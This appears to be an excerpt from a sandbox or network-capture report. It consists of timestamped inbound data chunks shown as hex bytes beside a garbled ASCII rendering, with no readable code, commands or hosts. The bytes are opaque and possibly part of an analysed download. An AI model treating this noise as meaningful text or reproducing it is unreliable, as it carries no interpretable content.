2021-12-01 08:15:22 UTC	415	IN	Data Raw: b1 f5 4e b5 b1 d2 14 02 45 f4 fa 72 bd 1c fd 4a 7f 34 74 b2 bd d2 ff 60 41 69 dd 25 67 a0 aa 0f 3e 92 f7 71 85 0e 2f f5 7c 24 b4 ba 45 d0 66 a1 68 18 03 a0 96 a3 09 8c 6d a1 e5 f6 a0 59 cd 05 3e 58 46 68 8c 6e 1f 68 e8 67 e4 e6 28 92 90 ab 32 ad 3a 20 e4 c3 82 09 6a f0 91 76 b2 e9 2d c9 c7 d6 74 70 1a 49 16 10 47 79 2f 59 3d 3a 42 5b ee ed a2 7e 34 de 6d f6 f1 bc d8 50 47 95 82 ff 4a 61 8a ab f7 13 5e 52 93 21 b9 f3 36 53 a9 4e 59 f3 87 6c e3 b3 ca 41 08 70 93 d0 0f 3f 80 dd 17 16 72 92 8a ab 19 0a 73 f9 2f 0c 69 2d e7 e2 58 38 b9 2f 6d ec 7f 53 1c c1 5b 63 07 f5 43 a4 0f f5 78 80 c2 e8 ab 49 d6 8f 3e fa 67 96 fc 5c e2 b5 60 98 2c 27 8d 26 83 ff aa 69 44 a4 64 5b 17 f8 43 96 29 a2 8a 48 5c 2b ac e0 0a 25 b2 69 ec 64 7b d9 fd a4 3f 09 48 d6 db c7 c5 b9 db Data Ascii: NErJ4t`Ai%g>q/\|$EfhmY>XFhnhg(2: jv-tpIGy/Y=:B[~4mPGJa^R!6SNYlAp?rs/i-X8/mS[cCxI>g\`,'&iDd[C)H\+%id{?H
2021-12-01 08:15:22 UTC	417	IN	Data Raw: 0e cd bf 3c c3 83 e1 25 0d bc be 63 c2 2c 6a 86 86 1f 1b 7b dd 10 99 97 30 13 d6 e0 29 16 d2 b1 13 98 d4 1d 55 88 b9 2a ec b6 91 21 57 1f 5a 98 f6 05 10 20 1d 82 27 0d 32 b9 04 f7 d6 6e b0 fa fc 70 8b 7c cd eb 81 2e 72 6f f8 66 bb ce a7 ab 53 78 f7 d8 61 47 bd 7d 9e 7e 68 cc 16 5e 4b c8 53 46 b0 a4 d6 24 0b 6e e8 d1 92 5f e3 8c 9a 4c 8a 27 62 5d ff b4 55 cb b4 b8 57 0d 35 aa 8f 85 76 43 b6 ff e9 6f 94 6f 8b 3a 03 54 30 94 4d 71 1b 8f 5f c8 e9 f5 c7 9e 1a d5 20 91 64 63 73 79 a0 5c f4 f0 45 77 1b da 68 35 36 17 f0 c4 43 07 b0 ad a9 2b f4 98 3d a3 73 fd b1 70 de c1 34 bc 1f 7c be c1 1d 3f 86 e5 1e 27 b0 c7 27 fd a7 fe d8 ba b7 99 56 19 f7 7f 16 7b 0a 61 5c 15 52 77 50 95 da 8e d6 59 e1 aa 90 37 31 36 58 1a 06 57 f6 dc 48 95 f2 7c d3 2c e4 4c b7 97 65 e1 45 Data Ascii: <%c,j{0)U*!WZ '2np\|.rofSxaG}~h^KSF$n_L'b]UW5vCoo:T0Mq_ dcsy\Ewh56C+=sp4\|?''V{a\RwPY716XWH\|,LeE
2021-12-01 08:15:22 UTC	418	IN	Data Raw: a2 a3 cd 9e 27 c4 ae c0 b4 d2 a8 f1 20 ed 7b 70 bc 8a 08 d8 96 96 e2 cc b5 aa e2 c8 7b c3 03 65 fc 80 d4 e7 fc 10 e0 c4 27 62 85 ef df 3a 51 99 37 b3 31 07 99 7f 95 e9 2a ef db ce 4b aa 77 38 f8 5e be ba 6b 94 6c 48 44 ab 0e dc 65 46 72 83 2a e5 56 cb 1c b6 fa 4c 20 25 ad db 1e 72 2b d0 05 1f 2e 8d 67 0e c9 77 7b ae 56 dd f5 35 70 e1 c5 1f 6e f2 b5 95 44 06 74 d8 3b 18 5d 6d 14 68 de f9 53 e2 8f 12 47 76 8c 6e 3d e8 b3 34 ad 84 20 5e 72 7a 3a c7 b8 6e 30 f0 dd a3 a1 2d 15 9d 0c 1b ae 0c 9b 39 83 bc 55 0d 51 eb 87 3e 26 89 5a 60 3a 74 7e 2d eb 07 24 49 cd 60 69 ec 37 8e c7 43 89 b6 8f 3c 92 1b 5a 7f 72 7b 6f 7f 9d 60 78 e0 32 25 50 82 a7 ab da 28 8f 49 86 fa c3 07 33 e7 9e b6 34 93 2b 86 5c 34 fd de b0 9f f7 c9 ca 48 63 25 26 c7 37 9e 04 1c 10 84 bb 6d 18 Data Ascii: ' {p{e'b:Q71Kw8^klHDeFrVL %r+.gw{V5pnDt;]mhSGvn=4 ^rz:n0-9UQ>&Z`:t~-$I`i7C<Zr{o`x2%P(I34+\4Hc%&7m
2021-12-01 08:15:22 UTC	419	IN	Data Raw: 5f 7e 1b cf 43 21 94 e9 4c 4d 4a f1 d9 e2 41 08 62 01 fb 62 cc 60 17 2b 8e 14 5b 10 50 b3 8e 9b 3a 0f 99 05 b0 f3 b6 48 5b 6a a0 5d 1a 89 15 fd 72 62 6a f6 34 f1 d5 3f 79 74 b9 3b 21 45 28 08 8e 17 1e 68 bd 37 3d 7e 95 3a 84 e1 be 3a c6 3b de 17 8f 83 fa 8e f2 8a 0b 44 39 08 27 1f d0 06 c2 29 71 f6 13 22 78 9f ee 5b 83 84 e1 40 42 ff f8 22 a2 cf de f1 e5 23 80 7a ba 31 02 bc 05 36 44 c7 1a d1 3c ba fa df 99 0c c2 59 d1 08 a7 0a 26 ea 8b 1d b3 2b f0 08 13 13 0a 90 3d 42 ea 56 aa df 8f 39 e1 b2 99 82 31 6e 0d fc 5b 41 df 85 07 42 2c b5 40 35 df a1 a3 68 e2 7a f1 ee 9a 80 c1 2e 09 f7 4b cc 04 64 ea 37 89 ee 8c 60 87 30 20 f8 f6 90 59 1a dd 80 40 20 7c 7c 80 a6 d4 d6 55 44 9d e9 4b d4 45 e4 08 d7 2b 84 8b 3b 70 54 2e 2f 58 e4 5b 19 5a 93 9a 87 3e a5 a9 05 05 Data Ascii: _~C!LMJAbb`+[P:H[j]rbj4?yt;!E(h7=~::;D9')q"x[@B"#z16D<Y&+=BV91n[AB,@5hz.Kd7`0 Y@ \|\|UDKE+;pT./X[Z>
2021-12-01 08:15:22 UTC	421	IN	Data Raw: b7 0b c0 30 7d 58 1a e5 40 dc 1b b9 f3 87 33 fd a7 67 81 fe 9a 22 34 03 04 97 74 fe 03 22 38 b9 f4 45 7a 3a b4 22 b7 bb bf 3a 03 b6 11 4c fb fc 4e 8e bc 36 25 0f 5b 3b 92 50 2b ee 6c 2c f2 d9 66 62 b1 41 59 4a 6b 26 01 c6 c8 9d a8 e5 57 16 ff 18 f0 6d 9f 07 89 15 fe 36 60 19 d9 c0 a4 e7 d9 29 41 31 2d e7 fa 13 9f 0e 40 e4 5b e1 e7 21 75 0e 30 69 21 51 3b 78 2a cc 76 b3 f2 aa b1 5d 21 73 c8 07 f2 00 d1 5a 83 c7 e6 18 d7 c0 ba 10 17 22 6d e2 5b 42 d4 f5 86 3c 80 ef 5a ba b9 4c 5f 8e d9 6f fd ef f8 b7 0a b7 c4 9f 29 65 af 34 b5 97 a6 ed b0 dd a4 27 33 9a d0 aa 0e a2 9c 7a 61 6c 92 1a 12 ea c2 2f c4 e3 ce 54 a2 af 20 7f 84 c8 0a 37 99 18 4c c9 b6 fb 4a a0 07 26 d6 1a e5 b3 1d 1d 9e 57 0b 48 7e 60 44 87 bd ca ec 55 24 c7 52 a7 7c 98 95 44 25 d6 04 e7 6e 25 14 Data Ascii: 0}X@3g"4t"8Ez:":LN6%[;P+l,fbAYJk&Wm6`)A1-@[!u0i!Q;x*v]!sZ"m[B<ZL_o)e4'3zal/T 7LJ&WH~`DU$R\|D%n%
2021-12-01 08:15:22 UTC	422	IN	Data Raw: 16 51 f2 ae 0e 16 f7 2b ad 78 bd c9 04 05 37 29 e3 0b 22 be e7 b2 8f 05 f4 99 02 9b 92 07 4d 50 e2 4d 08 69 5b e1 27 02 36 6a 94 c6 72 ad 5d 7e a4 90 f7 70 19 9d 97 fb 0c 52 7e 76 4c eb f3 2d 9f f0 25 40 dd 2f e2 2c 5e a3 1f e4 d6 87 9d bc 2b c1 40 cb 93 08 13 e3 d3 9e 7b a2 70 5c 1a 0c d0 88 83 92 67 a9 8e a3 a4 0c 7c ed 36 9d 1e 44 db f9 b7 bd 9b cf 48 5e 14 6a 9a c1 80 f7 bb 98 20 b3 aa 4d 19 85 1e eb 6c fc 17 21 39 a5 ed 83 a8 17 e4 5e 2e 03 bd 28 81 d3 50 02 56 99 ec 2a b6 dd 4c c7 04 fd 62 96 c6 da 89 23 e2 77 4c da af fe a2 25 d4 ab ab 78 18 e1 f4 11 da 62 92 06 2e 6b f2 c0 db 07 0f 05 35 f7 32 24 63 ee 20 b2 cb 64 eb 19 d1 ae f5 d1 bd 93 d3 ed aa ac a4 4f d3 81 62 d4 9c ab f6 68 51 19 e2 2b 22 77 50 06 b3 28 b6 b9 79 48 39 46 60 c1 5d 27 97 90 57 Data Ascii: Q+x7)"MPMi['6jr]~pR~vL-%@/,^+@{p\g\|6DH^j Ml!9^.(PV*Lb#wL%xb.k52$c dObhQ+"wP(yH9F`]'W
2021-12-01 08:15:22 UTC	423	IN	Data Raw: 87 d8 3e 31 df 87 4d 5e 68 49 4a 98 82 75 09 9a 0d fa 56 64 17 a4 96 3c 0d 61 f0 e1 fe a9 48 b2 f8 61 d0 c0 77 61 1f e7 98 90 e6 d1 ac 86 82 28 b6 2d 78 01 65 1a 19 31 79 96 c6 06 97 4c f5 5d ae 62 1d a7 4e 4e 48 c5 a7 23 5c 8f 16 ba 53 b7 96 68 91 ce 7b 42 1f 23 ea fb 48 af 60 40 52 5d c3 71 c5 1f e9 db 87 eb e3 80 45 03 15 38 45 2e d9 09 9c 6e 90 02 24 8c 31 64 49 e9 aa 52 e5 0b 49 bb ea af 0a cd 9a 4c c4 6f 08 42 08 49 bc c9 fa b5 63 55 ae 22 9e 74 af 74 eb 8f ce e5 ab 9b d6 74 cd 6a ec 55 21 ce cd 30 08 dc 84 94 21 83 39 d7 b4 e6 ba 07 00 22 d9 e2 71 27 1a 8f ec d7 77 fb ad 45 c5 54 94 ac ab 53 9b dc 3f b9 6b 8d 5b 09 8a 53 51 d2 c2 8b 78 54 c6 a3 03 e7 6b 10 c4 81 81 a1 dc 87 99 36 86 d3 f0 31 ed b0 36 8e 33 1c fb 81 15 6f 72 aa 81 5b ec bf 29 a9 70 Data Ascii: >1M^hIJuVd<aHawa(-xe1yL]bNNH#\Sh{B#H`@R]qE8E.n$1dIRILoBIcU"tttjU!0!9"q'wETS?k[SQxTk6163or[)p
2021-12-01 08:15:22 UTC	425	IN	Data Raw: 57 3d 52 53 dd c9 59 71 7d 9f 2d c7 59 a4 a2 d5 a0 1c 50 34 1b b7 6d 8a 69 a2 ae fa ab 4e 9f 87 ba 42 d3 45 eb cf db 57 4d 57 c8 21 31 f4 46 81 87 e2 3b 3c 98 0d 38 88 d9 9a 1d ba 07 b6 5f bb 7b 1b 18 d2 fb dd 90 ef e6 6b 4a c9 f9 b4 22 88 74 e4 fc 38 1d 90 b3 25 50 00 2a 02 c0 4c 21 d5 d3 12 45 84 e4 2d 65 db 70 5e 1b 80 5b 88 bd 9e 26 a5 3b c3 e2 10 f9 51 65 c2 7c 18 b8 d4 2a 37 bd 5e cd 41 92 b5 5b 09 e5 af 9c aa 39 31 84 56 3d 2e 36 f5 40 51 12 d3 72 de 18 46 fd 1a d3 a6 62 03 93 ff d7 62 fb c0 ef 0d ea a0 a7 32 27 31 f7 3c bd e4 b8 ee fb 8f da 67 65 88 a6 85 d7 01 57 e0 42 68 27 e8 62 e3 b6 4f ca 25 ea a3 60 f2 90 1f 74 94 d3 c9 28 0f a2 1b e3 ca 80 fa 4f 23 6e 57 37 f7 18 89 bd 81 08 3b 08 7b 1a b0 65 5c 14 37 b8 d7 26 04 b7 9a 13 47 e2 e7 3f 94 ef Data Ascii: W=RSYq}-YP4miNBEWMW!1F;<8_{kJ"t8%PL!E-ep^[&;Qe\|7^A[91V=.6@QrFbb2'1<geWBh'bO%`t(O#nW7;{e\7&G?
2021-12-01 08:15:22 UTC	426	IN	Data Raw: c5 39 2f db be 1a bf 97 8c b9 44 44 5d d0 f9 d6 35 1b 36 b2 62 2b f3 f5 8e 45 c2 75 b5 be 64 3e 2b b8 dc 0d 8b 8b 5b ed f3 5e 4d da bc 63 bc af a6 78 f3 ab ee cd c8 e0 04 ed 87 6c 69 71 9e 73 a8 ad ca 2d 9d 2c a0 88 18 6d 70 f4 6c 86 68 be 03 1f dc 18 f8 bd db fe 5d 9d e0 95 eb 10 9a 8b 24 cf 6b 29 61 f3 2e ba 5a 13 20 f0 bc 29 18 5c 91 c5 93 35 90 a5 52 2a d0 1e f8 78 98 21 1a db 8e 51 39 55 17 4c 64 cc e1 0c 24 25 d2 43 29 8e f1 1e 03 88 f5 f9 15 85 43 c5 1d a6 ce 84 5a e8 ba 68 c4 e1 0f a3 16 52 55 9e ec 5b b1 df 91 15 b1 e1 ae d3 93 e9 2b 81 5f d0 f4 b3 c3 f7 b7 03 7a 79 a3 24 b9 84 8f c9 9a 0c fd 30 08 99 02 ca 54 59 66 32 15 16 8d 73 15 73 e9 5b e4 ae 27 cd d7 56 7c 23 64 7b 1b 6a f4 79 09 c9 0b 37 b3 1b dc 6b cd 43 3d 06 33 13 de 65 7e 10 ec 20 3c Data Ascii: 9/DD]56b+Eud>+[^Mcxliqs-,mplh]$k)a.Z )\5R*x!Q9ULd$%C)CZhRU[+_zy$0TYf2ss['V\|#d{jy7kC=3e~ <
2021-12-01 08:15:22 UTC	427	IN	Data Raw: 15 03 56 e1 ea 05 1b 2a 26 c3 3e b0 47 21 50 0a 7f c6 8c 38 07 0b 5e eb b8 05 83 f6 d8 37 c1 2c f3 f7 eb 54 1a b4 2a 80 27 61 eb 29 3c 68 e0 1e 67 76 42 ca fc a7 49 af af 13 0e 21 91 2d 77 15 51 a8 5d 7f 77 ce c9 1e ff a9 70 d5 3f 7b 9d 18 17 1f ad 49 fa 1b 4b 07 14 34 57 17 7d f7 2a 1e 4d fd e4 96 23 96 af ea 9e 28 3c a9 0a 16 fd c8 58 1d 89 21 20 20 14 48 a4 02 72 3a d0 f2 f9 c9 36 31 5d 33 c8 ca e2 a7 4a 3d 89 b7 c7 7a 1f 64 55 64 38 21 69 b1 9d ad 30 b6 14 69 bf 5c a0 23 80 8c f2 55 ee e0 9d a9 46 8c ac c9 75 af a3 f1 ec 75 1c 30 5c 74 06 3c f0 0a 7a 49 aa c2 97 75 8e 76 d9 13 b3 e9 70 32 bf 96 ce e4 95 af 66 4c c7 5a a8 39 13 f0 04 c3 c4 60 c4 a6 80 58 43 89 eb 3e b8 52 72 a9 7a e5 f3 4f 6c 61 19 17 c4 8d f9 0f 8c ff 4e 8c 1f 10 4b 1c e9 6e f0 a0 67 Data Ascii: V&>G!P8^7,T'a)<hgvBI!-wQ]wp?{IK4W}*M#(<X! Hr:61]3J=zdUd8!i0i\#UFuu0\t<zIuvp2fLZ9`XC>RrzOlaNKng
2021-12-01 08:15:22 UTC	429	IN	Data Raw: d0 32 30 08 c5 55 88 52 95 f5 b6 87 e5 0d 3a d4 88 d7 be b8 3a a0 0b 01 2d 7a d9 d7 da 97 61 85 1f b4 8f 99 3b 1c 22 40 fa fe bf 25 07 a0 18 22 d8 9d 21 5a 8f 36 8e 7b 8c e0 c5 48 16 d8 8e 6a df 11 f3 9d 32 55 af db 42 24 78 4f b5 ac 8e f1 b5 71 79 c6 d7 cb 6e 08 85 fb c9 88 74 2f a1 b2 5a 4e 73 90 7f 28 77 aa f8 80 cf 12 e3 ef 1d 2f 62 a2 a7 4c 8e b9 03 45 26 64 88 78 16 4b 99 b1 1d e2 ed 2e 02 84 31 c4 85 b4 52 33 66 37 82 83 6e b7 3e e0 9f 79 7d 4d e9 ed e5 6c c0 6a 7c 9a 20 27 53 77 c4 33 a3 cb bf 9d c5 f6 2e 5e d9 81 28 4e 04 ba 85 b7 fb 49 05 49 99 92 11 41 f1 16 18 ae e1 97 ef 90 0b 5b 43 e9 a8 bb 2b 57 58 5e 58 09 15 77 24 38 6d 19 88 17 78 3b a8 7b 36 e0 f2 eb 01 28 56 23 ad 1b 24 8e 82 5e c2 c8 c6 d6 c7 cd a3 88 68 ac d6 cd 3e 06 07 a8 43 bb f5 Data Ascii: 20UR::-za;"@%"!Z6{Hj2UB$xOqynt/ZNs(w/bLE&dxK.1R3f7n>y}Mlj\| 'Sw3.^(NIIA[C+WX^Xw$8mx;{6(V#$^h>C
2021-12-01 08:15:22 UTC	430	IN	Data Raw: e8 9c e5 d8 91 e6 57 6d 0c 85 49 42 2e 0e 02 ce 2e 90 fb f8 19 7c 09 53 c7 e5 00 70 51 f1 07 e3 15 80 c0 cc 59 8b 51 ab 23 1d 1f b1 b5 a8 e9 b8 60 5a 90 7f bb 7a 89 7d 70 ca 95 18 6e f9 d4 a8 4b 90 d4 7b 52 7f 72 25 a1 48 29 ef 76 4f 8c d9 f5 91 9d 6f b8 64 96 04 36 16 ce 76 6f 66 f2 0b e9 8f e7 71 d0 e9 f3 16 fe 10 ea bc f1 bc 97 db d9 c4 85 9f ed 74 c2 3a 81 e8 f0 cd 59 80 b6 9f 4e 8d d4 ec 76 f9 ae d8 12 26 a2 2f 09 58 14 e4 b9 79 a2 21 10 ab ec 49 8a 36 1f 8b 4f 34 ba 35 e7 da b2 80 1a 11 32 05 3b b0 27 ad 0d 6e cb 90 ec 92 a3 76 92 9f ab 81 92 cc 06 0a 33 6c ad 96 e5 e0 ce 76 c4 22 bc 17 67 65 ae 05 97 6a 22 f7 b9 59 5f b9 1e c5 1f b9 1c d5 f0 1e 02 4a 45 11 fe cb a7 b5 4c 53 e6 e0 93 2e 22 38 86 12 fc 00 55 38 73 67 65 70 e0 24 41 9b 3b eb e4 4f 91 Data Ascii: WmIB..\|SpQYQ#`Zz}pnK{Rr%H)vOod6vofqt:YNv&/Xy!I6O452;'nv3lv"gej"Y_JELS."8U8sgep$A;O
2021-12-01 08:15:22 UTC	431	IN	Data Raw: d7 73 89 2f 27 c2 6d d6 7b c7 77 8f 2c 44 8e 6c c3 d2 a9 50 59 d4 3a cf a8 1e 58 28 1c cd f9 df e6 be 7e c0 f3 e0 99 61 af f8 33 a7 de e2 30 76 5c b7 a3 c2 71 4f f3 b0 a9 f1 3d 3f bc 72 ce fa c8 41 b6 1b c8 4e ff df 77 e1 10 77 aa ab 35 b9 5f ad ed a8 82 b7 a2 68 36 1f c2 d6 7a c5 2a c9 12 c9 da e4 97 ec cb ab 64 8b f4 70 54 d2 56 a5 ec ea c7 ea 30 43 b5 bd b6 f3 f6 83 01 fc 93 12 b7 82 fc 85 f5 63 e6 84 83 02 11 e5 92 6f 5e 4d 0f d7 e7 81 39 01 95 72 6c 0c fc e0 6c be 6c 71 f5 d6 80 62 c7 7f 14 ee bb c4 a3 b0 fa 2f 8a 55 8f 96 3f d6 b7 8e 08 58 e0 d0 3c 63 dd 96 f2 2a 34 0f 68 05 87 65 c9 1c fd 2a dc 4d 36 d6 3d ad bf c8 84 08 36 c0 5b 2b 72 f6 a8 6c d5 6d f2 53 ca 69 a9 0e f8 88 4c 39 b2 71 fe e4 dd 2e 8a 76 ef 6e 70 d9 be f4 e3 ba 79 3e a5 89 ea 9b 92 Data Ascii: s/'m{w,DlPY:X(~a30v\qO=?rANww5_h6zdpTV0Cco^M9rlllqb/U?X<c4he*M6=6[+rlmSiL9q.vnpy>
2021-12-01 08:15:22 UTC	433	IN	Data Raw: 59 c2 9f 22 96 15 eb b7 37 55 a1 f4 83 39 83 e6 10 01 0f 4a c6 c7 8d 3b 6e 96 78 39 4f 62 dc 13 2f 51 43 af 01 fc 7d 6c c1 24 b3 6f 69 d0 89 4e ad e8 a7 75 01 9d a8 43 92 26 4e 05 66 da 32 5d 00 20 2c 3c 14 8c 1a af 9a 49 a6 47 ed 99 7c d3 19 38 db 22 f5 fd 9e 68 ac a9 fb 7f ac 75 ca 5c 2b 2d e1 4b 84 0c c0 a5 00 d4 c6 a3 d5 b3 85 fc 6c 3a a8 bb ce ee ac 50 6c 79 00 81 ae ac a3 3a d3 60 03 be db fe c7 bf 86 7d d2 9b a8 9d 0b 86 b8 bc e6 ab 59 90 dd 74 56 46 6c 18 9b af 56 67 c6 95 ae f8 52 3a c6 e9 f7 fd 28 eb 4a 02 b4 70 b0 c1 5a a2 f7 c3 c6 80 3c c5 b9 27 6c c8 a9 3a d1 5e aa 42 18 64 91 8f 66 04 8e 9e eb 4a 9d bb ac a6 31 b0 66 1a 5f f3 6b 14 3d 4e 04 ef 18 77 43 54 de be b6 f7 87 0b 94 4d b6 b2 eb 68 c3 b2 38 6e 2d 5f 42 bc 2c 1c 78 98 d7 1b 86 a4 be Data Ascii: Y"7U9J;nx9Ob/QC}l$oiNuC&Nf2] ,<IG\|8"hu\+-Kl:Ply:`}YtVFlVgR:(JpZ<'l:^BdfJ1f_k=NwCTMh8n-_B,x
2021-12-01 08:15:22 UTC	434	IN	Data Raw: f0 73 90 b1 f5 e6 b9 bb 9c c2 b0 c2 14 cb bf 7b c2 f5 ba 16 e2 27 ae 24 18 65 81 60 fa 5a 3b 92 e8 a0 d5 69 38 87 b0 63 b7 5d 03 ed 95 35 35 8b cc 93 2b 86 52 e4 5a 21 41 f8 b7 c6 2e 76 11 33 41 50 74 a8 03 18 cf 37 d8 e0 99 d0 cd 3d ed c9 5e 5a 82 4a 54 d7 b2 01 35 0d c0 0f 8f 75 0b 6c 69 f4 d5 9d d7 b4 ac b6 d4 3a 00 4f 37 2d d2 e4 30 8c 01 4e 32 34 05 00 de e7 1f c4 58 b3 e8 91 4f 13 91 2d f4 51 60 2f f5 75 5d 24 2c 8e c8 cf d8 16 43 ec 95 b8 0c 33 cd d9 b5 90 3d 5c 8a 91 c6 b6 be 55 6f ff 8c c9 4f 2e 50 3f 9d cc b2 e4 a1 60 f5 1f 5e bf f8 4e 16 e1 17 e1 e2 a0 83 5c c0 77 ec 0f 9b 8e 89 98 49 11 ec f8 1e 59 7e f4 ba 81 11 27 0d b7 ac d9 7d eb 47 5c ff 45 97 71 25 59 a8 68 b0 9b 48 1c 65 1f 87 57 6c 71 e6 83 8d 64 da 60 5e 18 b1 de 4a dd dd 3f 5d 58 bf Data Ascii: s{'$e`Z;i8c]55+RZ!A.v3APt7=^ZJT5uli:O7-0N24XO-Q`/u]$,C3=\UoO.P?`^N\wIY~'}G\Eq%YhHeWlqd`^J?]X
2021-12-01 08:15:22 UTC	435	IN	Data Raw: ce 03 35 da c6 e7 a5 c2 63 5b da d9 c0 c6 f7 4a d1 8e 7b 55 68 b0 47 97 a9 6e 14 73 53 50 b5 3f 13 5c 72 00 9e 91 91 a7 94 33 96 a7 c3 73 53 d0 01 93 fc 5b 80 b5 44 4c 94 40 37 38 38 6d c5 a6 4b 65 d9 87 a9 3f 66 cc 70 b8 37 25 f8 64 85 6f 57 82 bd 3c 4d 19 42 51 9b 9e 08 83 9a a9 aa 4e fb 8e a4 3d 86 4b dc b9 ab cb 91 79 0c 6b 9b 5c 05 f0 55 46 eb 5e bd de df 56 a0 71 66 90 e4 c7 84 37 0e 05 19 1f 6f 27 be 46 4e c8 31 b7 6e 97 ec 77 19 57 66 f0 6e 26 0b 31 d2 60 37 44 eb c0 e4 55 ab 88 bc 6d 22 53 75 f8 62 bc 5c 21 f0 7c 01 8a 16 da ba 40 30 ab 0b 6f 63 b5 69 48 2f e2 72 fe 5a 04 e3 4c 77 2e d1 b6 3d a2 e8 12 7b 33 b3 f4 00 c8 66 78 2b 49 5d 2c dc 24 2f 11 91 77 6e e8 dd 5f a5 8e 0c a0 6f 2a 46 30 40 86 7f b2 84 73 98 9f 7e 5a 13 30 dd cc ed 1d 65 8e 4e Data Ascii: 5c[J{UhGnsSP?\r3sS[DL@788mKe?fp7%doW<MBQN=Kyk\UF^Vqf7o'FN1nwWfn&1`7DUm"Sub\!\|@0ociH/rZLw.={3fx+I],$/wn_o*F0@s~Z0eN
2021-12-01 08:15:22 UTC	437	IN	Data Raw: 75 31 f3 4e 19 dc 34 c8 13 ed da 63 6a f7 e4 60 41 1a ed 33 31 82 a9 01 4f 37 e0 aa c6 33 8c db 80 c8 5b 97 d9 0b 45 de a9 f6 62 39 d4 16 03 72 0e f6 01 21 2a 4d 9a 55 f4 9b d5 73 0d 94 34 8f 92 a5 28 fa 9b c2 d1 e0 2b 42 27 9a c2 0f c8 2b 50 47 dc 77 de 1d 57 81 b7 a1 e2 e5 12 03 8d fc 10 e3 e1 b6 16 b9 22 92 4c 0f 01 43 db c1 d4 ee 2b a9 2c bc 02 42 b1 1e 9b ea bb 53 9b e8 8c ea 3e 74 d0 90 b9 86 44 d0 f0 ee 3c 85 1f 87 b7 93 d9 10 cd 02 cc 2e 65 02 cd 8c 6d 00 5f ca f7 7e 74 53 92 c2 ef 61 ac 1d 9b df d8 29 c0 34 eb 1d 1a a7 f8 41 e1 54 65 7b 57 ee 37 55 c2 de 50 f1 5a aa db 6e 6d 00 92 85 41 61 06 c8 8c b5 d6 c1 04 b7 f6 e6 ad 5b b1 d1 9c 25 2c 11 bd ab 32 85 ef 6b 93 7c 5d 3c e0 49 66 90 57 2e 27 a7 6e 70 84 64 3b 7b 64 41 00 5b dd d6 d8 95 b4 56 1b Data Ascii: u1N4cj`A31O73[Eb9r!*MUs4(+B'+PGwW"LC+,BS>tD<.em_~tSa)4ATe{W7UPZnmAa[%,2k\|]<IfW.'npd;{dA[V
2021-12-01 08:15:22 UTC	438	IN	Data Raw: 06 e7 ac bf 33 81 15 8c 87 b8 a0 50 b8 9c 4e 27 17 00 32 b3 06 89 6e 7f f0 d7 c4 d4 f1 ed 44 f4 e4 24 bd ae 73 28 cd a7 45 65 de 3b 58 51 a8 94 44 79 08 fd 08 59 b7 d0 7a 3d 21 6b 8b 90 1d f9 ec 21 c5 ef 02 6b 3a 13 87 f7 7b 3d ed b1 ac 7b cf e1 bd bf 84 b1 f2 4b 10 e2 f0 0e 39 26 3c dd fc fc a3 b2 65 88 04 c2 15 8f 1e 6f 0d db 42 76 27 92 ac a5 1a 21 13 df 7c 46 0b 97 03 6a 75 18 ab 08 bb da 39 3c a0 26 bd d0 77 2c f4 7f f5 e9 45 ce 9c bf 03 14 5e 1a 09 4c 75 c7 c7 2b f5 ef d2 e9 97 8b d0 fc e2 a2 82 f0 c7 06 df 4a d3 7d 70 68 99 4a 65 55 5d 26 2a a7 e1 b4 ab 18 7c a8 f2 d8 27 a1 d7 01 22 fa 49 a8 86 3e 52 40 e7 07 0a 7a 88 6a b9 f0 12 40 18 ac 7e 47 7e 44 6d 5f 70 d0 9c 7e 9a b1 b1 cd 09 ee 21 0e 3a 85 4d 0a 45 bc 35 1c 66 64 6e ab 2d 50 ef 5d 32 e6 ed Data Ascii: 3PN'2nD$s(Ee;XQDyYz=!k!k:{={K9&<eoBv'!\|Fju9<&w,E^Lu+J}phJeU]&*\|'"I>R@zj@~G~Dm_p~!:ME5fdn-P]2
2021-12-01 08:15:22 UTC	439	IN	Data Raw: 97 1a 66 3d 19 2c 31 68 a2 5f 06 7b 0e 28 12 90 0e 01 12 41 aa bc d2 9d e0 ce c8 c3 6f f1 c1 fe 78 f9 cc 67 7e 8a 3f bc dd 8c 81 a1 4d 61 21 58 a8 1e f9 32 51 bb 63 f4 7d 56 87 0a 46 fd 04 77 46 21 17 59 74 11 da 5a f7 76 76 87 5e dc fc 03 23 82 5d db 31 72 1d 33 1e 67 5d 28 46 7c 91 57 63 b5 17 cf 97 65 57 d0 e8 b1 b1 b2 29 ad 78 bf b6 e1 1b b8 81 39 dd 32 22 fc 81 10 c0 ec 7b 27 9a bb a8 c5 8c 9b 48 cd 36 b9 ef 2e 0c b7 cf 19 d8 55 88 5f 8f 24 1d 68 f7 fb 35 6b a7 33 7c a1 41 2c 47 f1 50 fb 43 7b cd 33 7b 50 d3 47 a5 5c 0b 31 db 9e 93 23 40 0c 66 0a 0d 2c 32 b5 0b 46 18 0b 21 ab f9 a7 b8 f6 2e 49 f1 7f cb 6a ce 68 18 2f fa cb b4 90 66 07 ac 01 54 bd c0 b6 b0 26 a6 4c 51 d8 92 de 21 a0 56 cb 40 55 01 fc 02 29 ed 23 7a 26 52 18 84 40 80 01 53 e5 3b a9 6a Data Ascii: f=,1h_{(Aoxg~?Ma!X2Qc}VFwF!YtZvv^#]1r3g](F\|WceW)x92"{'H6.U_$h5k3\|A,GPC{3{PG\1#@f,2F!.Ijh/fT&LQ!V@U)#z&R@S;j
2021-12-01 08:15:22 UTC	441	IN	Data Raw: 4f 5e 0f 13 69 ec 18 e4 ad df d4 23 b4 0e 2d 50 1e 02 dd 28 fc 84 c6 34 7e 8d c0 40 91 65 40 d8 99 08 0d 53 ac a2 98 51 c2 66 c9 e9 92 94 f5 f9 6e 1b ae df 85 90 bc 96 61 0f ab a1 76 9d 47 4d e3 2d 76 8c ef 34 4d 6d d0 3a 9b 45 52 a0 c5 18 75 1d 44 5d 72 05 a3 96 31 d9 bc de 0d a4 16 e2 e4 7c 64 a1 7d 7a 5f 51 4c d3 2d 93 71 86 11 64 4d 15 e8 ba 81 27 67 04 7b d8 81 89 53 a4 09 5b 2f a7 7f e5 bf a9 6f 50 d6 05 cd 1d 3a 06 48 15 d2 bc d5 6d bb 36 f0 35 a4 41 70 cb 1a 2b ff e7 17 c3 e1 8c 85 6b 89 07 2b 27 49 bb 60 8f 65 bb af e0 3b ec 78 d3 c0 04 d7 1e 37 7a fa 32 0c 51 50 af a8 98 66 e6 a7 f2 fc ae a4 f8 5d d6 72 d5 3d e1 5a 31 7f 5a 48 a3 83 26 fe f0 e7 28 a0 04 9c 03 de 1d f0 43 25 1c 64 14 19 fa 9f 64 8f ac 4a 8d 27 71 6b 14 40 c1 74 68 c4 c6 2c 49 